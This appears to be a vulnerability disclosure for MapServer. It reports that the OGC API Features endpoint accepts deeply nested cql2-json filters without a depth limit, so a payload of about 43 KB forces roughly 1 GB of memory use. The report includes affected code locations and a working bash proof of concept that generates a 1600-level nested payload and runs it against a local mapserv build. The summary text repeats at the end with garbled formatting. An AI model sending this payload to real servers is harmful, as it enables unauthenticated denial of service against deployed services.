Summary
MapServer's OGC API Features endpoint accepts deeply nested cql2-json filters without any depth limit. A request such as a 1600-level nested boolean and expression forces the runtime to allocate roughly 1 GB of memory from a payload of only about 43 KB, and under a 900 MB memory limit the same request fails with std::bad_alloc.
This is an unauthenticated denial of service in runtime code. The vulnerable path is the live OGC API request handler, not test-only code.
Affected Runtime Code
src/mapogcapi.cpp:1582-1599 forwards attacker-controlled filter input to CQL2JSONParse() whenever filter-lang=cql2-json.
src/cql2json.cpp:142-205 recursively parses nested JSON operator arguments with ParseOperator() and ParseObject() but applies no expression-depth limit.
src/cql2json.cpp:296-303 directly calls json::parse(pszInput) and then recursively builds the AST, again without any depth guard.
src/cql2text.cpp:35-36 and src/cql2.h:100-103 show the contrast: the text parser rebalances expressions and enforces a maximum depth, but the JSON parser does neither.
{"op":"and","args":[true,{"op":"and","args":[true, ... ]}]}
Because the JSON path lacks the depth checks present in the text parser, the process allocates excessive memory while parsing and building the expression tree. In local validation:
- a benign request succeeded normally under a 900 MB address-space limit
- a 1600-level nested
and filter returned Cannot parse filter: Exception while parsing CQL2 JSON: std::bad_alloc under the same 900 MB limit
- without the artificial limit, the same request completed but reached about
1016000 KB RSS
That is enough for practical worker exhaustion or process termination in constrained deployments.
Reproduction
Run the included poc.sh below. It uses the existing build/mapserv binary and the repository's existing msautotest/config/index.conf OGC API configuration.
The script performs three checks:
- A baseline small
cql2-json request succeeds under a 900 MB limit.
- A malicious nested-
and request fails with std::bad_alloc under the same limit.
- The same malicious request, run without the limit, shows very high memory usage via
/usr/bin/time.
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
MAPSERV_BIN="${ROOT_DIR}/build/mapserv"
CONFIG_FILE="${ROOT_DIR}/msautotest/config/index.conf"
if [[ ! -x "${MAPSERV_BIN}" ]]; then
echo "missing binary: ${MAPSERV_BIN}" >&2
exit 1
fi
TMP_DIR="$(mktemp -d)"
cleanup() {
rm -rf "${TMP_DIR}"
}
trap cleanup EXIT
python3 - <<'PY' > "${TMP_DIR}/malicious_qs.txt"
import json
import urllib.parse
depth = 1600
obj = True
for _ in range(depth):
obj = {"op": "and", "args": [True, obj]}
payload = json.dumps(obj, separators=(",", ":"))
query_string = (
"f=json&limit=1&filter-lang=cql2-json&filter="
+ urllib.parse.quote(payload, safe="")
)
print(query_string)
PY
GOOD_QS='f=json&limit=1&filter-lang=cql2-json&filter=%7B%22op%22%3A%22and%22%2C%22args%22%3A%5Btrue%2Ctrue%5D%7D'
BAD_QS="$(cat "${TMP_DIR}/malicious_qs.txt")"
echo "== Baseline request under 900 MB address-space limit =="
(ulimit -v 900000; \
env MAPSERVER_CONFIG_FILE="${CONFIG_FILE}" \
PATH_INFO='/OGCAPI_MAP/ogcapi/collections/ne_110m_land/items' \
QUERY_STRING="${GOOD_QS}" \
REQUEST_METHOD=GET \
"${MAPSERV_BIN}" -nh > "${TMP_DIR}/good.out" 2> "${TMP_DIR}/good.err")
sed -n '1,8p' "${TMP_DIR}/good.out"
echo
echo "== Malicious nested cql2-json and request under the same 900 MB limit =="
(ulimit -v 900000; \
env MAPSERVER_CONFIG_FILE="${CONFIG_FILE}" \
PATH_INFO='/OGCAPI_MAP/ogcapi/collections/ne_110m_land/items' \
QUERY_STRING="${BAD_QS}" \
REQUEST_METHOD=GET \
"${MAPSERV_BIN}" -nh > "${TMP_DIR}/bad-limited.out" 2> "${TMP_DIR}/bad-limited.err")
sed -n '1,8p' "${TMP_DIR}/bad-limited.out"
if ! grep -q 'std::bad_alloc' "${TMP_DIR}/bad-limited.out"; then
echo "expected std::bad_alloc was not observed" >&2
exit 1
fi
echo
echo "== Memory usage of the malicious request without the artificial limit =="
/usr/bin/time -f 'max_rss_kb=%M elapsed=%E' \
env MAPSERVER_CONFIG_FILE="${CONFIG_FILE}" \
PATH_INFO='/OGCAPI_MAP/ogcapi/collections/ne_110m_land/items' \
QUERY_STRING="${BAD_QS}" \
REQUEST_METHOD=GET \
"${MAPSERV_BIN}" -nh > "${TMP_DIR}/bad-unlimited.out" 2> "${TMP_DIR}/bad-unlimited.err" || true
cat "${TMP_DIR}/bad-unlimited.err"
sed -n '1,4p' "${TMP_DIR}/bad-unlimited.out"
RSS_KB="$(sed -n 's/^max_rss_kb=//p' "${TMP_DIR}/bad-unlimited.err" | awk '{print $1}')"
if [[ -z "${RSS_KB}" || "${RSS_KB}" -lt 900000 ]]; then
echo "malicious request did not consume the expected amount of memory" >&2
exit 1
fi
echo
echo "PoC succeeded: a ~43 KB nested cql2-json and filter forces bad_alloc under 900 MB and reaches ${RSS_KB} KB RSS without the limit."
Summary
MapServer's OGC API Features endpoint accepts deeply nested
cql2-jsonfilters without any depth limit. A request such as a 1600-level nested booleanandexpression forces the runtime to allocate roughly 1 GB of memory from a payload of only about 43 KB, and under a 900 MB memory limit the same request fails withstd::bad_alloc.This is an unauthenticated denial of service in runtime code. The vulnerable path is the live OGC API request handler, not test-only code.
Affected Runtime Code
src/mapogcapi.cpp:1582-1599forwards attacker-controlledfilterinput toCQL2JSONParse()wheneverfilter-lang=cql2-json.src/cql2json.cpp:142-205recursively parses nested JSON operator arguments withParseOperator()andParseObject()but applies no expression-depth limit.src/cql2json.cpp:296-303directly callsjson::parse(pszInput)and then recursively builds the AST, again without any depth guard.src/cql2text.cpp:35-36andsrc/cql2.h:100-103show the contrast: the text parser rebalances expressions and enforces a maximum depth, but the JSON parser does neither.{"op":"and","args":[true,{"op":"and","args":[true, ... ]}]}Because the JSON path lacks the depth checks present in the text parser, the process allocates excessive memory while parsing and building the expression tree. In local validation:
andfilter returnedCannot parse filter: Exception while parsing CQL2 JSON: std::bad_allocunder the same 900 MB limit1016000 KBRSSThat is enough for practical worker exhaustion or process termination in constrained deployments.
Reproduction
Run the included
poc.shbelow. It uses the existingbuild/mapservbinary and the repository's existingmsautotest/config/index.confOGC API configuration.The script performs three checks:
cql2-jsonrequest succeeds under a 900 MB limit.andrequest fails withstd::bad_allocunder the same limit./usr/bin/time.